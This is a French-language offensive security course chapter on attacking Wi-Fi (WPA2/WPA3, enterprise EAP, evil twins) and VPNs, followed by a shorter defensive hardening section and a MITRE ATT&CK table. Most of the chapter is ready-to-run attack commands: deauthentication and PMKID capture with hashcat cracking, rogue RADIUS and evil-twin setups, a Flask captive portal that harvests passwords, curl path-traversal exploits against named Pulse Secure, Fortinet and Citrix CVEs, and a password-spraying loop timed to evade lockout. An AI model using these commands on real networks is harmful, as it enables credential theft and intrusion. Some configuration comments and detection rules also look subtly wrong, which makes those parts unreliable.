Chapitre 3.4 - Techniques d'attaque sans fil et VPN
Module 3 : Sécurité offensive et exploitation Prérequis : Chapitre 3.3 (MITM, usurpation d'identité et mouvement latéral)
Table des matières
- Architecture de sécurité sans fil - Normes, bandes et modèle de menace
- Analyse des trames 802.11 et mode moniteur
- Attaques WPA2-Personnel - Capture de la poignée de main à 4 voies et PMKID
- Attaques WPA2-Entreprise - RADIUS, EAP et point d'accès pirate
- WPA3 - SAE, Dragonblood et déclassement en mode de transition
- Points d'accès pirates et attaques Evil Twin
- Architecture VPN et sécurité des protocoles
- Techniques d'attaque VPN - Attaques par identifiants, CVE et fuite de trafic
- Détections défensives et renforcement
- Correspondance MITRE ATT&CK
- Quiz
1. Architecture de sécurité sans fil - Normes, bandes et modèle de menace
Famille de protocoles 802.11
| Norme | Bande | Débit maximal | Notes de sécurité |
|---|---|---|---|
| 802.11b/g | 2,4 GHz | 54 Mbps | WEP/WPA héritage ; encore déployé sur l'IoT |
| 802.11n (Wi-Fi 4) | 2,4/5 GHz | 600 Mbps | WPA2 minimum ; TKIP encore parfois utilisé |
| 802.11ac (Wi-Fi 5) | 5 GHz | 3,5 Gbps | WPA2/WPA3 ; MU-MIMO introduit une nouvelle surface d'attaque |
| 802.11ax (Wi-Fi 6/6E) | 2,4/5/6 GHz | 9,6 Gbps | WPA3 recommandé ; 6 GHz requiert WPA3 |
| 802.11ad/ay (WiGig) | 60 GHz | 8+ Gbps | Courte portée ; déploiement limité |
Modèle de menace sans fil
La différence fondamentale entre les surfaces d'attaque sans fil et filaire : toute personne à portée radio peut participer au médium réseau - aucun accès physique n'est requis. Cela fait passer l'exigence de l'attaquant de la proximité d'un port à la proximité d'un bâtiment.
Principales catégories de menaces :
- Écoute passive - capturer toutes les trames à portée sans émettre
- Injection active - injecter des trames de gestion falsifiées (deauth, disassoc) sans authentification
- Capture d'identifiants - intercepter les échanges d'authentification (poignée de main à 4 voies, EAP)
- Infrastructure pirate - usurper l'identité de points d'accès légitimes pour rediriger ou capturer le trafic client
- Attaques côté client - collecte des requêtes de sondage, attaques KARMA/MANA
- Abus du tunnel partagé VPN - router le trafic non-VPN en dehors du tunnel chiffré
2. Analyse des trames 802.11 et mode moniteur
Activation du mode moniteur
# Vérifier les interfaces sans fil
iw dev
iwconfig
# Méthode 1 : iw (moderne, recommandée)
ip link set wlan0 down
iw wlan0 set monitor none # none = aucun indicateur spécifique
ip link set wlan0 up
iw wlan0 info # Vérifier : type monitor
# Méthode 2 : airmon-ng (gère automatiquement les particularités des pilotes)
airmon-ng check kill # Arrêter les processus interférants (NetworkManager, wpa_supplicant)
airmon-ng start wlan0 # Crée l'interface wlan0mon en mode moniteur
airmon-ng start wlan0 6 # Démarrer sur un canal spécifique (6)
# Vérifier le mode moniteur
iwconfig wlan0mon # Doit afficher Mode:Monitor
# Arrêter le mode moniteur
airmon-ng stop wlan0mon
# Saut de canal - parcourir tous les canaux pour capturer tout le trafic
airodump-ng wlan0mon # Par défaut : parcourt tous les canaux 2,4 GHz
# Verrouiller sur un canal spécifique (pour une capture ciblée)
iwconfig wlan0mon channel 6
# Ou :
iw wlan0mon set channel 6
Énumération des points d'accès avec airodump-ng
# Reconnaissance passive - découvrir tous les points d'accès et les clients associés
airodump-ng wlan0mon
# Colonnes de sortie :
# BSSID PWR Beacons #Data #/s CH MB ENC CIPHER AUTH ESSID
# AA:BB:.. -65 120 45 2 6 130 WPA2 CCMP PSK CorpWiFi
# Capturer vers un fichier (pour analyse hors ligne)
airodump-ng wlan0mon \\
--write /tmp/survey \\\\ # Nom de base (.cap, .csv, .kismet.csv)
--output-format pcap,csv # Formats de fichier à écrire
# Cibler un réseau spécifique - verrouiller sur BSSID et canal
airodump-ng wlan0mon \\
--bssid AA:BB:CC:DD:EE:FF \\\\ # MAC du point d'accès cible
--channel 6 \\\\ # Canal cible
--write /tmp/target_capture # Sauvegarder la capture
# Voir les clients capturés (colonne STATION)
# Affiche tous les appareils associés au point d'accès + leur intensité de signal
Types de trames 802.11
# Capturer et analyser les trames de gestion 802.11 avec tshark
tshark -i wlan0mon \\
-Y 'wlan.fc.type == 0' \\\\ # Trames de gestion uniquement (type 0)
-T fields \\
-e wlan.fc.subtype \\\\ # Sous-type de trame
-e wlan.sa \\\\ # Adresse source
-e wlan.da \\\\ # Adresse de destination
-e wlan.ssid # SSID (pour balises/sondages)
# Sous-types de trames :
# 0 = Demande d'association 4 = Demande de sondage
# 1 = Réponse d'association 5 = Réponse de sondage
# 8 = Balise 10 = Désassociation
# 11 = Authentification 12 = Désauthentification
# Capturer les requêtes de sondage - révèle la liste des réseaux préférés du client
tshark -i wlan0mon \\
-Y 'wlan.fc.subtype == 4' \\\\ # Requête de sondage
-T fields \\
-e wlan.sa \\\\ # MAC du client
-e wlan.ssid \\\\ # SSID recherché
| sort | uniq -c | sort -rn
# Détecter un SSID masqué via les réponses de sondage et les trames d'association
tshark -i wlan0mon \\
-Y 'wlan.fc.subtype == 5 || wlan.fc.subtype == 0' \\
-T fields -e wlan.ssid -e wlan.sa | grep -v "^$"
3. Attaques WPA2-Personnel - Capture de la poignée de main à 4 voies et PMKID
Présentation de l'authentification WPA2-PSK
WPA2-PSK dérive la clé principale par paires (PMK) à partir de la phrase secrète :
PMK = PBKDF2(HMAC-SHA1, passphrase, SSID, 4096 iterations, 256 bits)
PTK = PRF(PMK + ANonce + SNonce + AP_MAC + Client_MAC)
MIC = HMAC-MD5/SHA1(KCK, EAPOL frames 1-3)
Le MIC (Message Integrity Code) dans la trame EAPOL 2 est calculé à partir du matériel de clé dérivé de la PMK. La capture des trames 1+2 (ou 2+3) de la poignée de main à 4 voies fournit à l'attaquant tout ce dont il a besoin pour vérifier les phrases secrètes candidates hors ligne.
Capture de la poignée de main à 4 voies
# Étape 1 : Identifier le point d'accès cible
airodump-ng wlan0mon
# Noter : BSSID, canal et les clients connectés (nécessaires pour le deauth)
# Étape 2 : Concentrer la capture sur le point d'accès cible
airodump-ng wlan0mon \\
--bssid AA:BB:CC:DD:EE:FF \\
--channel 6 \\
--write /tmp/handshake_capture # Créera un fichier .cap
# Étape 3a : Attendre qu'un client se (ré)associe naturellement - passif, sans détection
# Surveiller la capture - airodump affiche "WPA handshake: AA:BB:..." lorsque capturé
# Étape 3b : Forcer la poignée de main via l'injection de désauthentification (actif, détectable)
# Ouvrir un second terminal :
aireplay-ng wlan0mon \\
--deauth 5 \\\\ # Envoyer 5 trames deauth (0 = continu)
-a AA:BB:CC:DD:EE:FF \\\\ # BSSID du point d'accès
-c 11:22:33:44:55:66 # MAC du client (omettre pour deauth en diffusion)
# Le client se déconnecte et se reconnecte - airodump capture la poignée de main
# Étape 4 : Vérifier que la poignée de main a été capturée
aircrack-ng /tmp/handshake_capture-01.cap
# Sortie : "1 handshake" confirme la capture
# Convertir au format hc22000 pour hashcat (remplace .hccapx)
hcxpcapngtool \\
-o /tmp/handshake.hc22000 \\\\ # Fichier de sortie
/tmp/handshake_capture-01.cap # Fichier .cap d'entrée
Attaque PMKID - Capture sans client
L'attaque PMKID (Jens Steube, 2018) extrait un hash directement depuis la première trame EAPOL du point d'accès lors de l'association - aucun client ni désauthentification n'est nécessaire :
PMKID = HMAC-SHA1-128(PMK, "PMK Name" || AP_MAC || Client_MAC)
Puisque la PMK est dérivée de la phrase secrète, et que la PMKID est dérivée de la PMK, une PMKID capturée est suffisante pour craquer la phrase secrète hors ligne.
# hcxdumptool - capture simultanément les PMKID et les poignées de main
apt install hcxdumptool hcxtools
# Capturer les PMKID de tous les points d'accès à portée
hcxdumptool \\
-i wlan0mon \\\\ # Interface en mode moniteur
-o /tmp/pmkid_capture.pcapng \\\\ # Fichier de sortie (format pcapng)
--enable_status=3 \\\\ # Afficher les PMKID capturés en temps réel
--filtermode=2 \\\\ # Capturer depuis tous les points d'accès
--active_beacon # Envoyer des requêtes de sondage pour déclencher PMKID
# Cibler un point d'accès spécifique par BSSID
echo "AABBCCDDEEFF" > /tmp/target.lst # BSSID sans les deux-points
hcxdumptool \\
-i wlan0mon \\
-o /tmp/pmkid_capture.pcapng \\
--filterlist_ap=/tmp/target.lst \\\\ # Capturer uniquement depuis ce point d'accès
--filtermode=2
# Convertir pcapng au format hashcat (22000 = format WPA unifié)
hcxpcapngtool \\
-o /tmp/wifi_hashes.hc22000 \\
/tmp/pmkid_capture.pcapng
# Vérifier ce qui a été capturé
hcxpcapngtool \\
--info=stdout \\
/tmp/pmkid_capture.pcapng
# Affiche : nombre de PMKID capturés, poignées de main, réseaux
Craquage des hashes WPA2 avec hashcat
# Le mode 22000 gère à la fois les PMKID et les poignées de main à 4 voies (format unifié)
hashcat -m 22000 \\
/tmp/wifi_hashes.hc22000 \\
/usr/share/wordlists/rockyou.txt \\
-r /usr/share/hashcat/rules/best64.rule \\
-O \\\\ # Noyaux optimisés
--gpu-temp-abort=90 # Abandonner si le GPU atteint 90 degrés C
# Attaque par règles (taux de réussite nettement plus élevé)
hashcat -m 22000 \\
/tmp/wifi_hashes.hc22000 \\
/usr/share/wordlists/rockyou.txt \\
-r /usr/share/hashcat/rules/d3ad0ne.rule
# Attaque par masque - valeurs par défaut courantes des routeurs domestiques (8 chiffres = valeurs par défaut de nombreux FAI)
hashcat -m 22000 /tmp/wifi_hashes.hc22000 \\
-a 3 \\\\ # Attaque par masque
"?d?d?d?d?d?d?d?d" # 8 chiffres (format par défaut courant des FAI)
# Attaque hybride - liste de mots + masque (ex. "password" + 4 chiffres)
hashcat -m 22000 /tmp/wifi_hashes.hc22000 \\
-a 6 \\\\ # Hybride : liste de mots + masque
/usr/share/wordlists/rockyou.txt \\
"?d?d?d?d" # Ajouter 4 chiffres à chaque mot
# Afficher les phrases secrètes craquées
hashcat -m 22000 /tmp/wifi_hashes.hc22000 --show
4. Attaques WPA2-Entreprise - RADIUS, EAP et point d'accès pirate
WPA2-Entreprise utilise l'authentification 802.1X avec un serveur RADIUS. Les clients s'authentifient à l'aide de méthodes EAP (Extensible Authentication Protocol) plutôt qu'une phrase secrète partagée. Cela élimine le craquage PSK - mais introduit de nouveaux vecteurs d'attaque autour de l'échange EAP lui-même.
Matrice de vulnérabilités des méthodes EAP
| Méthode EAP | Auth interne | Certificat requis (client) | Vulnérable au MITM | Notes |
|---|---|---|---|---|
| EAP-TLS | Auth mutuelle TLS | Oui (certificat client) | Non | Le plus robuste ; nécessite une PKI |
| PEAP/MSCHAPv2 | MSCHAPv2 dans un tunnel TLS | Non | Oui (si le certificat n'est pas validé) | Le plus courant ; le plus attaqué |
| EAP-TTLS/PAP | PAP dans TLS | Non | Oui | Identifiants PAP en clair dans le tunnel |
| EAP-FAST | Basé sur PAC | Non | Partiel | Propriétaire Cisco |
| LEAP | Basé sur MD5 | Non | Oui | Déprécié, complètement compromis |
Attaque de PEAP/MSCHAPv2 avec hostapd-wpe
Lorsque les clients ne valident pas le certificat du serveur RADIUS (ou acceptent n'importe quel certificat), un point d'accès pirate avec un serveur RADIUS pirate peut intercepter l'échange MSCHAPv2 :
# hostapd-wpe : hostapd avec le patch WPE (Wireless Pwnage Edition)
# Intercepte les identifiants EAP des clients entreprise
apt install hostapd-wpe
# Configurer le point d'accès pirate correspondant au réseau entreprise cible
cat > /etc/hostapd-wpe/hostapd-wpe.conf << 'EOF'
interface=wlan0
driver=nl80211
ssid=CorpWiFi # Doit correspondre exactement au SSID cible
hw_mode=g
channel=6
wpa=3 # WPA2
wpa_key_mgmt=WPA-EAP
rsn_pairwise=CCMP
ieee8021x=1
eap_server=1
eap_user_file=/etc/hostapd-wpe/hostapd.eap_user
ca_cert=/etc/hostapd-wpe/certs/ca.pem
server_cert=/etc/hostapd-wpe/certs/server.pem
private_key=/etc/hostapd-wpe/certs/server.key
private_key_passwd=whatever
dh_file=/etc/hostapd-wpe/certs/dh
EOF
# Démarrer le point d'accès pirate - intercepte les tentatives d'authentification EAP
hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf
# Les identifiants capturés apparaissent dans hostapd-wpe.log :
# mschapv2: Mon Jan 1 12:00:00 2024
# username: jsmith
# challenge: aabbccdd11223344
# response: aabbccddeeff00112233445566778899aabbccdd
# Craquer MSCHAPv2 avec asleap
asleap \\
-C aabbccdd11223344 \\\\ # Challenge depuis la sortie hostapd-wpe
-R aabbccddeeff00112233445566778899aabbccdd \\\\ # Réponse
-W /usr/share/wordlists/rockyou.txt # Liste de mots
# Ou utiliser hashcat (mode 5500 = NetNTLMv1, auquel MSCHAPv2 se réduit)
# Convertir avec chapcrack ou formater manuellement pour hashcat
hashcat -m 5500 \\\\ # NetNTLMv1
"jsmith:::aabbccdd11223344:aabbccddeeff...:aabbccdd11223344" \\
/usr/share/wordlists/rockyou.txt
eaphammer - Attaques Wi-Fi entreprise automatisées
# eaphammer : outil d'attaque EAP complet
git clone https://github.com/s0lst1c3/eaphammer
cd eaphammer && pip install -r requirements.txt
# Générer des certificats pirates correspondant à l'organisation cible
python3 eaphammer \\
--cert-wizard # Génération interactive de certificats
# Lancer un point d'accès pirate pour la capture d'identifiants PEAP
python3 eaphammer \\
-i wlan0 \\
--channel 6 \\
--auth wpa-eap \\
--essid "CorpWiFi" \\\\ # SSID cible
--creds # Activer le mode de capture d'identifiants
# Attaque de déclassement GTC - forcer EAP-GTC (mot de passe en clair)
python3 eaphammer \\
-i wlan0 \\
--channel 6 \\
--auth wpa-eap \\
--essid "CorpWiFi" \\
--negotiate gtc-downgrade \\\\ # Proposer uniquement EAP-GTC - retourne les mots de passe en clair
--creds
5. WPA3 - SAE, Dragonblood et déclassement en mode de transition
WPA3-SAE (Simultaneous Authentication of Equals)
WPA3 remplace le PSK par SAE (échange de clés Dragonfly), offrant :
- Confidentialité persistante - compromettre la phrase secrète ne déchiffre pas le trafic passé
- Résistance aux attaques par dictionnaire hors ligne - chaque échange SAE nécessite une participation active ; les poignées de main capturées ne peuvent pas être craquées hors ligne
- Protection contre les attaques PMKID - SAE n'utilise pas la PMKID de la même manière
Vulnérabilités Dragonblood (CVE-2019-9494 / CVE-2019-9496)
La poignée de main SAE s'est avérée vulnérable aux attaques par canal auxiliaire qui restaurent partiellement la capacité de craquage hors ligne :
# dragonslayer - kit PoC Dragonblood
git clone https://github.com/vanhoefm/dragonslayer
cd dragonslayer
# Attaque par canal auxiliaire temporel - mesurer le temps de traitement des trames de validation SAE
# Les variations de temps révèlent des informations sur l'élément de mot de passe
python3 dragonslayer.py \\
--bssid AA:BB:CC:DD:EE:FF \\
--ssid "TargetWPA3" \\
-i wlan0mon \\
--attack timing # Canal auxiliaire basé sur le temps
# Canal auxiliaire par cache (nécessite l'exécution de code local sur le point d'accès - rare)
python3 dragonslayer.py \\
--attack cache
# Déni de service - épuisement du jeton anti-encombrement SAE
python3 dragonslayer.py \\
--attack dos \\
--bssid AA:BB:CC:DD:EE:FF
Déclassement du mode de transition WPA3
La plupart des déploiements fonctionnent en mode mixte WPA3/WPA2 pour la compatibilité ascendante. Cela permet des attaques de déclassement :
# Étape 1 : Identifier les réseaux en mode de transition WPA3
airodump-ng wlan0mon
# Rechercher : colonne AUTH affichant "SAE+PSK" ou "OWE+OPN" = mode de transition
tshark -i wlan0mon \\
-Y 'wlan.fc.subtype == 8' \\\\ # Trames de balise
-T fields \\
-e wlan.ssid \\
-e wlan_rsna_eapolkeydes.key_info # Informations de clé depuis RSN IE
# Étape 2 : Configurer un evil twin qui n'annonce que WPA2 (pas WPA3)
# Le client se connectera en WPA2 - maintenant vulnérable à la capture de poignée de main
# Utiliser hostapd configuré pour WPA2 uniquement avec SSID identique
# Puis capturer la poignée de main à 4 voies comme à la Section 3
# Étape 3 : Pour les réseaux WPA3 uniquement - utiliser le flood de balises pour perturber le client
# mdk4 - attaques de flood de balises / deauth
mdk4 wlan0mon b \\\\ # Mode flood de balises
-f /tmp/ssid_list.txt \\\\ # Liste de SSID à diffuser
-a \\\\ # Authentifié (incite les clients à essayer de se connecter)
-c 6 # Canal
6. Points d'accès pirates et attaques Evil Twin
Evil Twin basique avec hostapd
Un evil twin reproduit le SSID d'un point d'accès légitime (et optionnellement le BSSID) avec une puissance d'émission plus élevée. Les clients qui se connectent automatiquement aux SSID connus se connecteront au point d'accès pirate si son signal est plus fort.
# Étape 1 : Configurer le point d'accès avec hostapd
cat > /tmp/evil_twin.conf << 'EOF'
interface=wlan0
driver=nl80211
ssid=TargetCoffeeShop # Correspondance exacte du SSID
hw_mode=g
channel=6
macaddr_acl=0
ignore_broadcast_ssid=0
EOF
# Démarrer le point d'accès ouvert (sans mot de passe - les clients se connectent sans friction)
hostapd /tmp/evil_twin.conf &
# Attribuer une IP à l'interface du point d'accès
ip addr add 192.168.1.1/24 dev wlan0
ip link set wlan0 up
# Étape 2 : Serveur DHCP pour les clients
dnsmasq \\
--interface=wlan0 \\
--bind-interfaces \\
--dhcp-range=192.168.1.100,192.168.1.200,12h \\\\ # Plage DHCP
--dhcp-option=3,192.168.1.1 \\\\ # Passerelle par défaut
--dhcp-option=6,192.168.1.1 \\\\ # Serveur DNS (notre machine)
--no-daemon &
# Étape 3 : NAT pour l'accès internet (maintient les clients connectés, moins suspect)
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
echo 1 > /proc/sys/net/ipv4/ip_forward
# Étape 4 : Usurpation DNS - rediriger tous les DNS vers notre serveur
# dnsmasq gère déjà cela ; ajouter des usurpations spécifiques :
echo "address=/#/192.168.1.1" >> /etc/dnsmasq.conf # Redirection DNS attrape-tout
# Puis lancer le serveur de capture d'identifiants sur le port 80/443
Evil Twin avec airbase-ng
# Créer un point d'accès logiciel avec airbase-ng (plus simple que hostapd pour les tests)
airbase-ng \\
-e "TargetNetwork" \\\\ # SSID
-c 6 \\\\ # Canal
-a AA:BB:CC:DD:EE:FF \\\\ # BSSID (usurper la MAC du point d'accès cible)
wlan0mon
# Cela crée l'interface at0 - configurer comme passerelle :
ip addr add 10.0.0.1/24 dev at0
ip link set at0 up
Collecte d'identifiants via portail captif
# wifipumpkin3 - framework de point d'accès pirate avec portail captif
pip3 install wifi-pumpkin3
wifipumpkin3
# Dans la console wifipumpkin3 :
wp3 > set interface wlan0
wp3 > set ssid "Airport_WiFi_Free"
wp3 > set proxy noproxy # Pas de proxy = routage direct
wp3 > use captive-portal # Activer le portail captif
wp3 > set captive_portal_template login_v4 # Modèle de portail
wp3 > start
# Portail de phishing autonome avec flask :
# Servir une page de connexion qui capture les identifiants dans un fichier journal
cat > /tmp/portal.py << 'EOF'
from flask import Flask, request, redirect
app = Flask(__name__)
@app.route('/', methods=['GET','POST'])
def portal():
if request.method == 'POST':
creds = f"{request.form.get('username')}:{request.form.get('password')}"
with open('/tmp/creds.txt','a') as f:
f.write(f"{request.remote_addr} | {creds}\\n")
return redirect("https://google.com") # Rediriger après capture
return open('/tmp/login.html').read() # Servir la fausse page de connexion
app.run(host='0.0.0.0', port=80)
EOF
python3 /tmp/portal.py &
7. Architecture VPN et sécurité des protocoles
Comparaison des protocoles VPN
| Protocole | Port | Chiffrement | Auth | Faiblesses connues |
|---|---|---|---|---|
| OpenVPN | 1194/UDP, 443/TCP | TLS (AES-256-GCM) | Cert/PSK/MFA | Mauvaise configuration ; ancien TLS si non patché |
| WireGuard | 51820/UDP | ChaCha20-Poly1305 | Clé publique uniquement | Pas d'auth utilisateur intégrée ; complexité de gestion des clés |
| IPsec/IKEv2 | 500, 4500/UDP | AES-GCM | Cert/PSK/EAP | Empreinte PSK en mode principal IKEv1 |
| SSL-VPN (vendeur) | 443/TCP | TLS | Identifiants/MFA | Historique CVE lourd (Pulse, Fortinet, Citrix) |
| PPTP | 1723/TCP | MPPE/RC4 | MS-CHAPv2 | Complètement compromis - MS-CHAPv2 craquable en moins de 24h |
| L2TP/IPsec | 1701/UDP + IPsec | AES/3DES | PSK/Cert | Faiblesse de clé pré-partagée ; préoccupations NSA |
Fuite de trafic VPN - Tunnel partagé
Le tunnel partagé route uniquement le trafic spécifique à travers le tunnel VPN ; le reste va directement sur internet. La surface d'attaque :
# Détecter le tunnel partagé VPN depuis l'extérieur
# Le trafic non-VPN des clients connectés est visible depuis internet
# Sonder le client pour les services sur les interfaces non tunnelisées
# Depuis l'intérieur d'un réseau - identifier les clients VPN qui fuient leur DNS
# Les clients avec tunnel partagé envoient les requêtes DNS internes via VPN
# mais les requêtes DNS publiques directement - visible dans les captures réseau
# Tester votre propre client VPN pour les fuites DNS
curl https://dnsleaktest.com/test.json # Depuis derrière VPN
# Si les résultats montrent les serveurs DNS du FAI → fuite DNS (tunnel partagé pour DNS)
# API ipleak.net
curl -s https://ipleak.net/json/ | jq '{ip:.ip, country:.country_name}'
# tcpdump sur la passerelle VPN - voir ce qui est tunnelisé ou non
tcpdump -i tun0 -n # Interface du tunnel VPN - ce qui passe
tcpdump -i eth0 -n not port 1194 # Interface physique - ce qui contourne le VPN
8. Techniques d'attaque VPN - Attaques par identifiants, CVE et fuite de trafic
Exploitation de vulnérabilités SSL-VPN
Les appliances SSL-VPN commerciales ont accumulé des CVE critiques au cours de la dernière décennie. Ce sont des cibles prioritaires car elles sont exposées sur internet et constituent des passerelles d'authentification.
# Pulse Secure / Ivanti CVE-2019-11510 - Lecture arbitraire de fichier avant auth
# Permet de lire /etc/passwd et les fichiers de session sans authentification
curl -sk \\
"https://vpn.target-corp.com/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd" \\
--path-as-is \\\\ # Ne pas normaliser le chemin
-o /tmp/passwd.txt
cat /tmp/passwd.txt # Doit contenir /etc/passwd si vulnérable
# Lire les fichiers de session actifs (contiennent des identifiants en clair dans les anciennes versions)
curl -sk \\
"https://vpn.target-corp.com/dana-na/../dana/html5acc/guacamole/../../../../../../data/runtime/mtmp/1000/0/0/data.mdb" \\
--path-as-is -o /tmp/sessions.mdb
# Analyser avec mdbtools ou strings
strings /tmp/sessions.mdb | grep -i "password\\\\|pass\\\\|user"
# Fortinet SSL-VPN CVE-2018-13379 - Traversée de chemin avant auth
curl -sk \\
"https://vpn.target-corp.com/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession" \\
-o /tmp/fortinet_sessions
# Le fichier de sessions contient des identifiants VPN dans certaines versions de firmware
strings /tmp/fortinet_sessions | grep -E "[a-zA-Z0-9]{8,}"
# Citrix ADC/Gateway CVE-2019-19781 - RCE avant auth (Shitrix)
curl -sk \\
"https://vpn.target-corp.com/vpn/../vpns/cfg/smb.conf" \\
--path-as-is
# Confirmé vulnérable si smb.conf est retourné
# Scan des CVE SSL-VPN courants avec nuclei
nuclei \\
-u https://vpn.target-corp.com \\
-t /opt/nuclei-templates/cves/ \\\\ # Répertoire des templates CVE
-tags vpn,pulse-secure,fortinet,citrix \\
-severity critical,high \\
-o /tmp/vpn_vulns.txt
Énumération IKE/IPsec et attaques PSK
# ike-scan - énumérer les pairs IKE et les configurations
ike-scan \\
--showbackoff \\\\ # Afficher le retrait de retransmission (empreinte OS)
--trans=5,2,1,2 \\\\ # Proposer des transformations spécifiques
192.168.1.1 # Passerelle VPN
# Énumération complète des transformations - trouver les suites de chiffrement acceptées
ike-scan --trans \\
--aggressive \\\\ # Mode agressif (expose le nom de groupe)
-u "vpngroup" \\\\ # Nom de groupe (courant : vpngroup, GroupVPN, remote)
192.168.1.1
# Capture du hash PSK en mode agressif IKEv1
# En mode agressif, le hash PSK est envoyé en clair (faille de conception)
ike-scan \\
-A \\\\ # Mode agressif
--id=vpngroup \\\\ # ID de groupe
--pskcrack=/tmp/psk_hash.txt \\\\ # Sauvegarder le hash PSK dans un fichier
192.168.1.1
# Craquer le hash PSK
psk-crack \\
-d /usr/share/wordlists/rockyou.txt \\
/tmp/psk_hash.txt
# ou hashcat mode 5300 (IKE-MD5) / 5400 (IKE-SHA1)
hashcat -m 5300 /tmp/psk_hash.txt /usr/share/wordlists/rockyou.txt
Force brute sur les identifiants VPN
# OpenVPN avec auth nom d'utilisateur/mot de passe
hydra -L /tmp/users.txt \\
-P /usr/share/wordlists/rockyou.txt \\
192.168.1.1 \\
cisco \\\\ # Module : cisco pour SSL-VPN
-s 443 \\
-t 4 \\
-V
# Force brute sur la connexion Fortinet SSL-VPN
hydra -L users.txt -P passwords.txt \\
"https://vpn.target-corp.com" \\
https-post-form \\
"/remote/logincheck:username=^USER^&credential=^PASS^:err"
# Force brute Pulse Secure
crackmapexec \\
--pulsevpn vpn.target-corp.com \\
-u users.txt -p passwords.txt
# Sensibilisation à la limitation de débit : la plupart des solutions VPN verrouillent les comptes après 3 à 5 échecs
# Utiliser la pulvérisation de mots de passe (un mot de passe, de nombreux utilisateurs) avec des délais
for user in $(cat /tmp/users.txt); do
result=$(curl -sk -o /dev/null -w "%{http_code}" \\
-d "username=$user&password=Welcome2024!" \\
https://vpn.target-corp.com/remote/logincheck)
echo "$user: $result"
sleep 30 # Délai de 30s entre les tentatives - éviter le verrouillage
done
Analyse du trafic des sessions VPN
# Déterminer le protocole VPN depuis le trafic (passif, sans interaction avec la cible)
# Identifier WireGuard (UDP avec message d'initiation de poignée de main caractéristique)
tshark -i eth0 \\
-Y 'udp.port == 51820' \\
-T fields -e ip.src -e ip.dst -e udp.length
# Identifier OpenVPN (TLS sur le port 1194 ou 443)
tshark -i eth0 \\
-Y 'tcp.port == 1194 || udp.port == 1194' \\
-T fields -e ip.src -e ip.dst -e frame.len
# Empreinte des négociations IPsec IKE
tshark -i eth0 \\
-Y 'isakmp' \\\\ # Dissecteur IKE/ISAKMP
-T fields \\
-e ip.src -e ip.dst \\
-e isakmp.messageid \\
-e isakmp.flags
# Empreinte JARM du serveur SSL-VPN (depuis le Chapitre 2.4)
python3 jarm.py vpn.target-corp.com -p 443
# Signatures JARM connues pour Pulse Secure, Fortinet, GlobalProtect
# Détecter le tunnel partagé VPN en observant le comportement de routage
# Le client route vers 10.0.0.0/8 via le tunnel VPN (tun0)
# Mais route vers 0.0.0.0/0 (internet) via eth0 → tunnel partagé
ip route show table main # Sur le client - affiche la décision de routage
9. Détections défensives et renforcement
Renforcement sans fil
# Détecter les points d'accès pirates via la surveillance des balises (Zeek ou Suricata)
# Empreintes des points d'accès pirates : SSID connu mais BSSID/canal différent
# waidps - IDS sans fil
python3 waidps.py -i wlan0mon # Surveiller les points d'accès pirates, les attaques deauth
# Détecter les attaques de désauthentification (deauth en masse = probable attaque)
tshark -i wlan0mon \\
-Y 'wlan.fc.subtype == 12' \\\\ # Trames deauth
-T fields -e wlan.sa -e wlan.da | \\
sort | uniq -c | sort -rn | \\
awk '$1 > 10 {print "FLOOD DEAUTH:", $0}' # > 10 deauths = suspect
# 802.11w (Protection des trames de gestion) - empêche l'injection deauth
# Activer dans hostapd pour vos points d'accès légitimes :
# ieee80211w=2 (2 = requis ; 1 = optionnel)
# Cela rend les trames deauth authentifiées cryptographiquement
# Appliquer la validation des certificats dans le supplicant (empêche un RADIUS pirate)
# /etc/wpa_supplicant/wpa_supplicant.conf :
cat >> /etc/wpa_supplicant/wpa_supplicant.conf << 'EOF'
network={
ssid="CorpWiFi"
key_mgmt=WPA-EAP
eap=PEAP
identity="user@corp.local"
password="userpassword"
ca_cert="/etc/ssl/certs/corp-ca.pem" # DOIT valider le certificat serveur
subject_match="/CN=radius.corp.local" # Épingler à un CN spécifique
phase2="auth=MSCHAPV2"
}
EOF
# Sans ca_cert : tout serveur RADIUS pirate est accepté
Renforcement VPN
# Renforcement OpenVPN - /etc/openvpn/server.conf
tls-version-min 1.2 # TLS 1.2 minimum
tls-cipher TLS-ECDHE-RSA-WITH-AES-256-GCM-SHA384 # Chiffrement fort uniquement
cipher AES-256-GCM # Chiffrement du canal de données
auth SHA256 # Auth HMAC
tls-auth /etc/openvpn/ta.key 0 # Clé HMAC pré-partagée (empêche le DoS)
verify-client-cert require # Exiger un certificat client
username-as-common-name # Lier le certificat au nom d'utilisateur
# Forcer le tunnel complet - désactiver le tunnel partagé
push "redirect-gateway def1 bypass-dhcp" # Router TOUT le trafic via le VPN
push "dhcp-option DNS 10.8.0.1" # Forcer le DNS interne (empêche la fuite DNS)
# WireGuard : activer le kill switch - bloquer tout trafic si le tunnel tombe
PostUp = iptables -I OUTPUT ! -o %i -m mark ! --mark $(wg show %i fwmark) \\
-m addrtype ! --dst-type LOCAL -j REJECT
PreDown = iptables -D OUTPUT ! -o %i -m mark ! --mark $(wg show %i fwmark) \\
-m addrtype ! --dst-type LOCAL -j REJECT
# Suricata - détecter le trafic en clair qui devrait être chiffré
# Alerte sur HTTP en clair depuis des clients VPN connus (indique un tunnel partagé ou une contournement)
alert http $VPN_CLIENTS any -> $EXTERNAL_NET any (
msg:"Client VPN envoyant du HTTP non chiffré - Possible tunnel partagé";
flow:established,to_server;
classtype:policy-violation;
sid:9006001; rev:1;
)
# Alerte sur IKEv1 Mode Agressif (exposition du PSK)
alert udp any any -> $HOME_NET 500 (
msg:"IKEv1 Mode Agressif - Hash PSK exposé";
content:"|04 00|"; # Type d'échange en mode agressif
byte_test:1,=,4,8;
classtype:protocol-command-decode;
sid:9006002; rev:1;
)
10. Correspondance MITRE ATT&CK
| Technique | ID | Méthode | Détection |
|---|---|---|---|
| Écoute réseau | T1040 | Mode moniteur, airodump-ng | 802.11w MFP, protocoles chiffrés |
| Adversaire au milieu : MITM Wi-Fi | T1557.004 | Evil twin, hostapd-wpe | Détection de points d'accès pirates, épinglage de certificats |
| Vol de jeton d'accès applicatif | T1528 | Collecte d'identifiants via portail captif | Validation des certificats, MFA |
| Exploitation d'application exposée | T1190 | CVE-2019-11510, CVE-2019-19781 | Patch, WAF, segmentation réseau |
| Force brute : pulvérisation de mots de passe | T1110.003 | Pulvérisation d'identifiants VPN | MFA, politique de verrouillage, détection d'anomalies |
